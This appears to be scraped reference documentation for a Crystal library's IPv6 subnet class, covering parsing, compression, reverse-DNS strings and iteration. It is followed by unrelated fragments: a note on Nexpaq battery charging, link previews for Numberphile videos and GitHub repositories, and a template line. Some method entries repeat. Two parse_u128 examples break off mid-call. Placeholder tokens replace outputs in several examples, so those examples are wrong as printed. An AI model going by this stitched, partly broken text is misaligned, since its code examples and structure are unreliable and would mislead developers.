Returns the predecessor to the IP address
-
#prefix : Prefix128
Returns an instance of the prefix object
-
#prefix=(num)
Set a new prefix number for the object
-
#reverse
Returns the IPv6 address in a DNS reverse lookup string, as per RFC3172 and RFC2874.
-
#size
Returns the number of IP addresses included in the network.
-
#succ
Returns the successor to the IP address
-
#to_big_i
Return the address as a
BigInt
-
#to_i
Returns a the address in as a
BigInt
(will return aUInt128
once support for that is finished in the stdlib) - #to_json(json : JSON::Builder)
-
#to_s : String
Returns the IPv6 address in a human readable form, using the compressed address.
-
#to_string
Returns the IPv6 address in a human readable form, using the compressed address.
-
#to_string_uncompressed
Unlike its counterpart IPv6#to_string method, IPv6#to_string_uncompressed returns the whole IPv6 address and prefix in an uncompressed form
-
#to_u128
Returns a the address in as a
BigInt
(will return aUInt128
once support for that is finished in the stdlib) -
#unique_local?
Checks if an IPv6 address objects belongs to a unique-local network RFC4193
-
#unspecified?
Returns true if the address is an unspecified address
Instance methods inherited from module Subnet
ipv4?
ipv4?,
ipv6?
ipv6?,
to_json(json : JSON::Builder)
to_json
Constructor methods inherited from module Subnet
new(value : JSON::PullParser) : Subnet
new,
parse(str) : Subnet
parse
Class methods inherited from module Subnet
deprecate(message = nil)
deprecate,
ntoa(uint)
ntoa,
valid?(addr)
valid?,
valid_ip?(addr)
valid_ip?,
valid_ipv4?(addr)
valid_ipv4?,
valid_ipv4_netmask?(addr)
valid_ipv4_netmask?,
valid_ipv4_subnet?(addr)
valid_ipv4_subnet?,
valid_ipv6?(addr)
valid_ipv6?,
valid_ipv6_subnet?(addr)
valid_ipv6_subnet?
Constructor Detail
Creates a new IPv6 address object.
An IPv6 address can be expressed in any of the following forms:
- "2001:0db8:0000:0000:0008:0800:200C:417A": IPv6 address with no compression
- "2001:db8:0:0:8:800:200C:417A": IPv6 address with leading zeros compression
- "2001:db8::8:800:200C:417A": IPv6 address with full compression
In all these 3 cases, a new IPv6 address object will be created, using the default subnet mask /128
You can also specify the subnet mask as with IPv4 addresses:
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
Class Method Detail
Compress an IPv6 address in its compressed form
Subnet::IPv6.compress "2001:0DB8:0000:CD30:0000:0000:0000:0000"
# => "2001:db8:0:cd30::"
Expands an IPv6 address in the canocical form
Subnet::IPv6.expand "2001:0DB8:0:CD30::"
# => "2001:0DB8:0000:CD30:0000:0000:0000:0000"
Creates a new IPv6 object from binary data, like the one you get from a network stream.
For example, on a network stream the IP
"2001:db8::8:800:200c:417a"
is represented with the binary data
" \001\r\270\000\000\000\000\000\b\b\000 \fAz"
With that data you can create a new IPv6 object:
ip6 = Subnet::IPv6::parse_data " \001\r\270\000\000\000\000\000\b\b\000 \fAz"
ip6.prefix = 64
ip6.to_s
# => "2001:db8::8:800:200c:417a/64"
Creates a new IPv6 object from a number expressed in hexdecimal format:
ip6 = Subnet::IPv6::parse_hex("20010db80000000000080800200c417a")
ip6.prefix = 64
ip6.to_string
# => "2001:db8::8:800:200c:417a/64"
The #prefix
parameter is optional:
ip6 = Subnet::IPv6::parse_hex("20010db80000000000080800200c417a", 64)
ip6.to_string
# => "2001:db8::8:800:200c:417a/64"
Creates a new IPv6 object from an unsigned 128 bits integer.
ip6 = Subnet::IPv6::parse_u128(
The #prefix
parameter is optional:
ip6 = Subnet::IPv6::parse_u128(
Instance Method Detail
Spaceship operator to compare IPv6 objects
Comparing IPv6 addresses is useful to ordinate them into lists that match our intuitive perception of ordered IP addresses.
The first comparison criteria is the u128 value. For example, 2001:db8:1::1 will be considered to be less than 2001:db8:2::1, because, in a ordered list, we expect 2001:db8:1::1 to come before 2001:db8:2::1.
The second criteria, in case two IPv6 objects have identical addresses, is the prefix. An higher prefix will be considered greater than a lower prefix. This is because we expect to see 2001:db8:1::1/64 come before 2001:db8:1::1/65
Example:
ip1 = Subnet.parse "2001:db8:1::1/64"
ip2 = Subnet.parse "2001:db8:2::1/64"
ip3 = Subnet.parse "2001:db8:1::1/65"
ip1 < ip2
# => true
ip1 < ip3
# => false
[ip1, ip2, ip3].sort.map { |i| i.to_string }
# => ["2001:db8:1::1/64","2001:db8:1::1/65","2001:db8:2::1/64"]
Returns the 16-bits value specified by index
ip = Subnet::IPv6.new("2001:db8::8:800:200c:417a/64")
ip[0]
# => 8193
ip[1]
# => 3512
ip[2]
# => 0
ip[3]
# => 0
Returns the IPv6 address in uncompressed form:
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.address
# => "2001:0db8:0000:0000:0008:0800:200c:417a"
Allocates a new ip from the current subnet. Optional skip parameter can be used to skip addresses.
Will raise StopIteration exception when all addresses have been allocated
Example:
ip = Subnet::IPv6.new("<IP_ADDRESS>/24")
ip.allocate
# => "<IP_ADDRESS>/24"
ip.allocate
# => "<IP_ADDRESS>/24"
ip.allocate(2)
# => "<IP_ADDRESS>/24"
Uses an internal @allocator which tracks the state of allocated addresses.
Returns the IPv6 address in a DNS reverse lookup string, as per RFC3172 and RFC2874.
ip6 = Subnet.parse "3ffe:505:2::f"
ip6.reverse
# => "f.<IP_ADDRESS>.<IP_ADDRESS>.<IP_ADDRESS>.<IP_ADDRESS>.<IP_ADDRESS>.<IP_ADDRESS>.0.5.0.e.f.f.3.ip6.arpa"
Returns the address portion of an IP in binary format, as a string containing a sequence of 0 and 1
ip6 = Subnet::IPv6.new("2001:db8::8:800:200c:417a")
ip6.bits
# => "0010000000000001000011011011100000 [...] "
Returns the broadcast address in Unsigned 128bits format
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.broadcast_u128
# =><PHONE_NUMBER>1282592875350729025363378175
Please note that there is no Broadcast concept in IPv6 addresses as in IPv4 addresses, and this method is just an helper to other functions.
Compressed form of the IPv6 address
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.compressed
# => "2001:db8::8:800:200c:417a"
Returns the address portion of an IPv6 object in a network byte order format.
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.data
# => " \001\r\270\000\000\000\000\000\b\b\000 \fAz"
It is usually used to include an IP address in a data packet to be sent over a socket
Iterates over all the IP addresses for the given network (or IP address).
The object yielded is a new IPv6 object created from the iteration.
ip6 = Subnet::IPv6.new("2001:db8::4/125")
ip6.each do |i|
p i.compressed
end
# => "2001:db8::"
# => "2001:db8::1"
# => "2001:db8::2"
# => "2001:db8::3"
# => "2001:db8::4"
# => "2001:db8::5"
# => "2001:db8::6"
# => "2001:db8::7"
WARNING: if the host portion is very large, this method can be very slow and possibly hang your system!
Returns the 16-bits value specified by index
ip = Subnet::IPv6.new("2001:db8::8:800:200c:417a/64")
ip[0]
# => 8193
ip[1]
# => 3512
ip[2]
# => 0
ip[3]
# => 0
Returns an array with the 16 bits groups in decimal format:
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.groups
# => [8193, 3512, 0, 0, 8, 2048, 8204, 16762]
Returns an array of the 16 bits groups in hexdecimal format:
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.hex_groups
# => ["2001", "0db8", "0000", "0000", "0008", "0800", "200c", "417a"]
Not to be confused with the similar IPv6#hexstring
method.
Returns a Base16 number representing the IPv6 address
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.hexstring
# => "20010db80000000000080800200c417a"
Checks whether a subnet includes the given IP address.
Example:
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
addr = Subnet.parse "2001:db8::8:800:200c:1/128"
ip6.includes? addr
# => true
ip6.includes? Subnet::IPv6.new("2001:db8:1::8:800:200c:417a/76")
# => false
Checks if an IPv6 address objects belongs to a link-local network RFC4291
Example:
ip = Subnet.parse "fe80::1"
ip.link_local?
# => true
Literal version of the IPv6 address
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.literal
# => "2001-0db8-0000-0000-0008-0800-200c-417a.ipv6-literal.net"
```
Returns true if the address is a loopback address
See Subnet::IPv6::Loopback for more information
Returns true if the address is a mapped address
See Subnet::IPv6::Mapped for more information
Returns a new IPv6 object with the network number for the given IP.
ip = Subnet.parse "2001:db8:1:1:1:1:1:1/32"
ip.network.to_string
# => "2001:db8::/32"
True if the IPv6 address is a network
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.network?
# => false
ip6 = Subnet.parse "2001:db8:8:800::/64"
ip6.network?
# => true
Returns the network number in Unsigned 128bits format
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.network_u128
# =><PHONE_NUMBER>1282592856903984951653826560
Returns the next IP address in the network, or
Iterator::Stop::INSTANCE
when out of
addresses.
Returns the predecessor to the IP address
Example:
ip = Subnet.parse("<IP_ADDRESS>/16")
ip.pred.to_string
=> "<IP_ADDRESS>/16"
Returns an instance of the prefix object
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.prefix
# => 64
Set a new prefix number for the object
This is useful if you want to change the prefix to an object created with IPv6::parse_u128 or if the object was created using the default prefix of 128 bits.
ip6 = Subnet::IPv6.new("2001:db8::8:800:200c:417a")
puts ip6.to_string
# => "2001:db8::8:800:200c:417a/128"
ip6.prefix = 64
puts ip6.to_string
# => "2001:db8::8:800:200c:417a/64"
Returns the IPv6 address in a DNS reverse lookup string, as per RFC3172 and RFC2874.
ip6 = Subnet.parse "3ffe:505:2::f"
ip6.reverse
# => "f.<IP_ADDRESS>.<IP_ADDRESS>.<IP_ADDRESS>.<IP_ADDRESS>.<IP_ADDRESS>.<IP_ADDRESS>.0.5.0.e.f.f.3.ip6.arpa"
Returns the number of IP addresses included in the network. It also counts the network address and the broadcast address.
ip6 = Subnet::IPv6.new("2001:db8::8:800:200c:417a/64")
ip6.size
# =><PHONE_NUMBER>3709551616
Returns the successor to the IP address
Example:
ip = Subnet.parse("<IP_ADDRESS>/16")
ip.succ.to_string
=> "<IP_ADDRESS>/16"
Returns a the address in as a BigInt
(will return a
UInt128
once support for that is finished in
the stdlib)
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.to_i
# =><PHONE_NUMBER>1282592856906245548098208122
Returns the IPv6 address in a human readable form, using the compressed address.
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.to_s
# => "2001:db8::8:800:200c:417a"
Returns the IPv6 address in a human readable form, using the compressed address.
ip6 = Subnet.parse "2001:0db8:0000:0000:0008:0800:200c:417a/64"
ip6.to_string
# => "2001:db8::8:800:200c:417a/64"
Unlike its counterpart IPv6#to_string method, IPv6#to_string_uncompressed returns the whole IPv6 address and prefix in an uncompressed form
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.to_string_uncompressed
# => "2001:0db8:0000:0000:0008:0800:200c:417a/64"
Returns a the address in as a BigInt
(will return a
UInt128
once support for that is finished in
the stdlib)
ip6 = Subnet.parse "2001:db8::8:800:200c:417a/64"
ip6.to_i
# =><PHONE_NUMBER>1282592856906245548098208122
Checks if an IPv6 address objects belongs to a unique-local network RFC4193
Example:
ip = Subnet.parse "fc00::1"
ip.unique_local?
# => true
Returns true if the address is an unspecified address
See Subnet::IPv6::Unspecified for more information


Battery modules only charge the case.
To charge your phone use switcher on dashboard.
ok
-
Charge Nexpaq
Not Charging


Counting Outtakes (from our Pi Million video) - Numberphile These are outtakes from the main video at: https://youtu.be/__UlMppZZgs Who's Who based on the main video: https://www.numberphile.com/pi-million More links & stuff in full description below ↓↓↓ Numberphile is supported by the Mathematical Sciences Resea...
Pi Million Subscribers - Numberphile Outtakes: https://youtu.be/Wrj1Kl6CHIQ Who's Who in the video: https://www.numberphile.com/pi-million More links & stuff in full description below ↓↓↓ Patreon: http://www.patreon.com/numberphile Numberphile T-Shirts: https://teespring.com/stores/numberp...
wybiral/tiny-elf A tiny ELF. Contribute to wybiral/tiny-elf development by creating an account on GitHub.
When Is Data "Public"? (And 2.5M Public Factual Records in HIBP) When is data "public"? And what does "public" even mean? Does it mean it's merely visible to the public? Or does it mean the public can do anything they like with it? This discussion comes up time and time again as it did with the huge leak of PDL data
Andrey Akinshin - Performance Testing - Dotnetos Conference 2019 Visit our website to learn more! https://conf.dotnetos.org/ Facebook: https://www.facebook.com/dotnetos/ Twitter: https://twitter.com/dotnetosorg Andrey Akinshin: senior developer at JetBrains, where he works on Rider (a cross-platform .NET IDE based on ...
me-no-dev/AsyncTCP Async TCP Library for ESP32. Contribute to me-no-dev/AsyncTCP development by creating an account on GitHub.


{% if not frappe.local.form_dict.txt %}
List of powerful business apps or nifty extensions built by a community of developers